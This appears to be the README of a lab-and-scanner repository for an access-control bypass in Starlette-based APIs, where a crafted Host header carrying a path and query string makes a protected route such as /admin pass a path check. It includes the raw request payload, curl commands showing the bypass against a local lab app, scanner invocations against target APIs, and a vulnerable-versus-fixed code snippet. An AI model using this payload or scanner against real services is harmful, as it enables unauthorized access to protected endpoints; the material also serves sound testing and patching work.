GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed

cd badhost_vuln_lab
docker compose up --build

pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Fixed
if request.scope["path"].startswith("/public"):
    ...